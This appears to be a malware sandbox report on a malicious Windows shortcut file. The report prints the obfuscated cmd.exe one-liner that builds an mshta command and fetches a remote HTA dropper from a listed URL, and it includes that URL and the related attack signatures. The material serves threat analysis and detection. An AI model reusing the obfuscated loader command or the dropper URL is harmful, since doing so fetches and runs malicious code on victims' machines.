Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:13

General

  • Target
    DOC-OW2ZWR.lnk
  • Size 2KB
  • Sample260803-qf33jsbp61
  • SHA256 4244fc85f435a24a50216a60cc5b64baf9198f1e766544e287e990c6c70ee179
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://br-adobe.lat/h/estagio1.php?r=360761F15794

Signatures

  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OW2ZWR.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4572
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/V:on/C"set PtlgU=4tzsk&&set SP=u47taz&&set vYil=5vbrtiju&&set qC=dbgarvdrzzstvckxdbg&&set Qj=sysryilvsys&&set YD=loggxwxakblog&&set cQ=dbglfrtzuwcfubzvgenvpdbg&&set LQAP=baklgxbtlbak&&set BA=cachecarpucache&&set eCf=cachelcpmwlftkrsjelllcache&&set MabM=bakevvtwnjhxbzcxttabak&&set Gl=logxtpolacpstlog&&set zRNBE=syspaywglsys&&set Qx=bakvpidblpzapbnubak&&set dLObS=6mshbe&&set Za=y2vtu&&set pR=9a59&&set mXM=datzhootddyveumrfhdat&&set mDQJk=h@ttp@s@://@br-adobe.lat/@h@/est@ag@[email protected]@p?r@=360@7@61@F15794&&start /b !dLObS:~1,3!!Za:~3,1!!pR:~1,1! !mDQJk:@=!"
      2⤵
      • Network Service Discovery
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Windows\System32\mshta.exe
        mshta https://br-adobe.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:4212

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads